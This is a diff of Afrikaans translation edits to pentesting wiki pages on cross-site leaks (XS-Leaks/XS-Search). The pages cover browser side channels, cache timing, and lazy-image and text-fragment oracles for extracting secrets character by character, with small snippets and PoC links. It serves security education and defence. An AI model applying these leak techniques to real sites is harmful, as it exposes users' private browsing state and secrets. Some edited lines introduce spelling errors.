 - **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
-Inligtingslek deur HTML-elemente is 'n bekommernis in webveiligheid, veral wanneer dinamiese media-lêers gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word, wat die media-grootte verander. Dit kan deur aanvallers benut word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.
+Inligtingslek deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese media-lêers gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word, wat die media-grootte verander. Dit kan deur aanvallers benut word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.
 
 ### Information Exposed by HTML Elements
 
@@ -715,9 +715,9 @@ As 'n lek tegniek kan die aanvaller die `window.getComputedStyle` metode gebruik
 
 Die CSS `:visited` selektor word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die `getComputedStyle()` metode gebruik word om hierdie stylverskille te identifiseer. Modern blaaiers het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en beperk die style wat met die `:visited` selektor toegepas kan word.
 
-Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die `mix-blend-mode` eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruikersinteraksie.
+Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die `mix-blend-mode` eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruiker interaksie.
 
-Verder kan opsporing bereik word sonder gebruikersinteraksie deur die weergawe-tyd van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.
+Verder kan opsporing bereik word sonder gebruiker interaksie deur die weergawe tyds van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.
 
 Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:
 
@@ -733,7 +733,7 @@ Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumenta
 - **Summary:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingebed te word weens X-Frame-Options beperkings.
 - **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
-In Chrome, as 'n bladsy met die `X-Frame-Options` kop wat op "deny" of "same-origin" gestel is, as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van `null`) vir die `contentDocument` eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kop inkonsekwent stel, dikwels foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is van kardinale belang om sulke lekke te voorkom.
+In Chrome, as 'n bladsy met die `X-Frame-Options` kop wat op "deny" of "same-origin" gestel is, as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van `null`) vir die `contentDocument` eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kop inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is van kardinale belang om sulke lekke te voorkom.
 
 ### Download Detection
 
@@ -743,11 +743,11 @@ In Chrome, as 'n bladsy met die `X-Frame-Options` kop wat op "deny" of "same-ori
 - **Summary:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
 
-Die `Content-Disposition` kop, spesifiek `Content-Disposition: attachment`, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te detecteer of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:
+Die `Content-Disposition` kop, spesifiek `Content-Disposition: attachment`, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:
 
-1. **Aflaai Bar Monitering**:
-- Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai bar onderaan die blaaiervenster.
-- Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai bar aflei, wat daarop dui dat 'n aflaai inisieer is.
+1. **Aflaai Balk Monitering**:
+- Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai balk onderaan die blaaiervenster.
+- Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai balk aflei, wat daarop dui dat 'n aflaai inisieer is.
 2. **Aflaai Navigasie met Iframes**:
 - Wanneer 'n bladsy 'n lêeraflaai inisieer met die `Content-Disposition: attachment` kop, veroorsaak dit nie 'n navigasie gebeurtenis nie.
 - Deur die inhoud in 'n iframe te laai en vir navigasie gebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
@@ -766,13 +766,13 @@ In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hi
 - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitioning**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy oopmaak en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitioning**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 As 'n webwerf `example.com` 'n hulpbron van `*.example.com/resource` insluit, sal daardie hulpbron die **dieselfde caching sleutel** hê asof die hulpbron direk **deur top-level navigasie aangevra is**. Dit is omdat die caching sleutel bestaan uit top-level _eTLD+1_ en frame _eTLD+1_.
 
 Omdat toegang tot die cache vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong na die stop verander is, beteken dit dat die hulpbron in die cache was.\
-Of kan net **'n paar fetch na die potensieel gekaapte bladsy stuur en die tyd meet wat dit neem**.
+Of kan net **'n paar fetch na die potensieel gekapte bladsy stuur en die tyd meet wat dit neem**.
 
 ### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
@@ -812,7 +812,7 @@ Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te d
 
 In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
 
-By die aankoms van die versoek wat in die vorige stap inisieer is, reageer die **dienswerker** met 'n **204 (No Content)** statuskode, wat effektief die navigasieproses beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
+By die aankoms van die versoek wat in die vorige stap inisieer is, antwoord die **dienswerker** met 'n **204 (No Content)** statuskode, wat effektief die navigasieproses beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
 
 > [!WARNING]
 > In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
@@ -835,7 +835,7 @@ By die aankoms van die versoek wat in die vorige stap inisieer is, reageer die *
 
 ## With HTML or Re Injection
 
-Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te onttrek deur HTML-inhoud in te voeg**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan invoeg maar nie JS-kode kan invoeg nie**.
+Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan injecteer maar nie JS kode kan injecteer nie**.
 
 ### Dangling Markup
 
@@ -845,15 +845,15 @@ dangling-markup-html-scriptless-injection/
 
 ### Image Lazy Loading
 
-As jy **inhoud moet onttrek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone dangling markup tegnieke** nagaan.\
+As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone dangling markup tegnieke** nagaan.\
 As jy egter om enige rede **MOET** dit **karakter vir karakter** doen (miskien is die kommunikasie via 'n cache hit), kan jy hierdie truuk gebruik.
 
 **Beelde** in HTML het 'n "**loading**" attribuut waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
 ```html
 <img src=/something loading=lazy >
 ```
-Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om **die webblad te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
-Dan, as ons **inspuiting byvoorbeeld voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **voorkom dat dit gelaai word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
+Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om die **webblad te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
+Dan, as ons **inspuiting byvoorbeeld voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel dit **verhoed om gelaai te word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
 
 'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik as dit toegelaat word:
 
@@ -867,13 +867,13 @@ So die webblad sal iets soos wees: **`https://victim.com/post.html#:~:text=SECR`
 
 Waar post.html die aanvaller se rommelkarakters en lui laai beeld bevat en dan die geheim van die bot bygevoeg word.
 
-Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bladsy wat die teks `SECR` bevat. Aangesien daardie teks die geheim is en dit net **onder die beeld** is, sal die **beeld slegs laai as die geraamde geheim korrek is**. So daar het jy jou orakel om **die geheim karakters vir karakter te exfiltreer**.
+Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bladsy wat die teks `SECR` bevat. Aangesien daardie teks die geheim is en dit net **onder die beeld** is, sal die **beeld slegs laai as die geraamde geheim korrek is**. So daar het jy jou orakel om **die geheim karakter vir karakter te exfiltreer**.
 
 'n Voorbeeld van kode om dit te benut: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 
 ### Beeld Lui Laai Tydgebaseerd
 
-As dit **nie moontlik is om 'n eksterne beeld te laai nie** wat die aanvaller kan aandui dat die beeld gelaai is, kan 'n ander opsie wees om te probeer om **die karakter verskeie kere te raai en dit te meet**. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die [**oplossing van hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **samengevat is hier:**
+As dit **nie moontlik is om 'n eksterne beeld te laai** wat die aanvaller kan aandui dat die beeld gelaai is nie, kan 'n ander opsie wees om te probeer om **die karakter verskeie kere te raai en dit te meet**. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die [**oplossing van hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **samengevat is hier:**
 
 {{#ref}}
 xs-search/event-loop-blocking-+-lazy-images.md
@@ -899,7 +899,7 @@ $(
 xs-search/css-injection/
 {{#endref}}
 
-## Verdedigings
+## Verdedeigings
 
 Daar is verskeie versagings aanbeveel in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ook in elke afdeling van die wiki [https://xsleaks.dev/](https://xsleaks.dev/). Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.
 

src/pentesting-web/xs-search/README.md

@@ -8,7 +8,7 @@ XS-Search is 'n metode wat gebruik word om **kruis-oorsprong inligting** te **on
 
 Belangrike komponente wat betrokke is by hierdie aanval sluit in:
 
-- **Kwetsbare Web**: Die teikenwebwerf waaruit inligting onttrek moet word.
+- **Kwetsbare Web**: Die teikenwebwerf waarvan inligting beoog word om onttrek te word.
 - **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die ontploffing huisves.
 - **Insluitingsmetode**: Die tegniek wat gebruik word om die Kwetsbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
 - **Lek Tegniek**: Tegnieke wat gebruik word om verskille in die toestand van die Kwetsbare Web te onderskei op grond van inligting wat deur die insluitingsmetode versamel is.
@@ -28,35 +28,35 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te
 
 ### Insluitingsmetodes
 
-- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
+- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevoeging van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **raam beskerming ontbreek**, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap.
-- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
+- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Modern blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
 - **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg.
 
 ### Lek Tegnieke
 
 - **Gebeurtenis Handler**: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos **onload** en **onerror** insigte bied oor hulpbronlaai sukses of mislukking.
-- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur te onderskei tussen die teenwoordigheid en afwesigheid daarvan.
+- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei.
 - **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
 - **Globale Toestand**: Waarneembare interaksies met blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
-- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsduur vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
+- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsduur vir die dokument en gelaaide hulpbronne, wat afleidings oor versoekte hulpbronne moontlik maak.
 - **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel.
 
 ## XSinator Gereedskap & Papier
 
-XSinator is 'n outomatiese gereedskap om **blaaiers teen verskeie bekende XS-Leaks** te **kontroleer** soos verduidelik in sy papier: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
+XSinator is 'n outomatiese hulpmiddel om **blaaiers teen verskeie bekende XS-Leaks** te **kontroleer** soos verduidelik in sy papier: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
 
-Jy kan **die gereedskap in** [**https://xsinator.com/**](https://xsinator.com/)
+Jy kan **die hulpmiddel in** [**https://xsinator.com/**](https://xsinator.com/)
 
 > [!WARNING]
-> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
+> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
 
 ## **Tydgebaseerde tegnieke**
 
 Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.
 
-**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmeetings te verkry.\
-Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\
+**Klokke**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.\
+Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete klokke te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\
 Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
 
 ## Gebeurtenis Handler Tegnieke
@@ -73,7 +73,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
 cookie-bomb-+-onerror-xs-leak.md
 {{#endref}}
 
-Die kode voorbeeld probeer om **scripts objek te laai van JS**, maar **ander tags** soos objek, stylesheets, beelde, oudio's kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS in te voeg).
+Die kode voorbeeld probeer om **skrifte objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas daarvan om dit van JS in te voeg).
 
 Daar is ook 'n skrip-vrye weergawe van hierdie aanval:
 ```html
@@ -88,8 +88,8 @@ In hierdie geval, as `example.com/404` nie gevind word nie, sal `attacker.com/?e
 - **Insluitingsmetodes**: HTML Elemente
 - **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
-- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Daar kan egter ander horlosies gebruik word, soos [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur.
-- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n ander voorbeeld in:
+- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms neem.
+- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n Ander voorbeeld in:
 
 {{#ref}}
 performance.now-example.md
@@ -131,7 +131,7 @@ Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsle
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**:
-- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
+- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
 - **Kode Voorbeeld**:
 
 Neem aan dat jy die **bladsy** wat die **geheime** inhoud het, **binne 'n Iframe** kan **invoeg**.
@@ -152,7 +152,7 @@ Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat '
 - **Insluitingsmetodes**: Frames
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**:
-- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle sal die aanvallers **kode** **uitgevoer** word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
+- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle word die aanvallers **kode** **uitgevoer**, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
 - **Kode Voorbeeld:**
 
 {{#ref}}
@@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
 - **Insluitingsmetodes**: HTML Elemente
 - **Waarneembare Verskil**: Statuskode & Headers
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Opsomming**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat webbladsye verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos **Spectre** te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan **CORB** onderwerp is, 'n _**CORB beskermde**_ `Content-Type` met `nosniff` en 'n `2xx` statuskode teruggee, verwyder **CORB** die liggaam en headers van die antwoord. Aanvallers wat dit waarneem, kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
+- **Opsomming**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat webblaaie verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos **Spectre** te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan **CORB** onderwerp is, 'n _**CORB beskermde**_ `Content-Type` met `nosniff` en 'n `2xx` statuskode teruggee, verwyder **CORB** die liggaam en headers van die antwoord. Aanvallers wat dit waarneem kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
 - **Kode Voorbeeld:**
 
 Kyk die meer inligting skakel vir meer inligting oor die aanval.
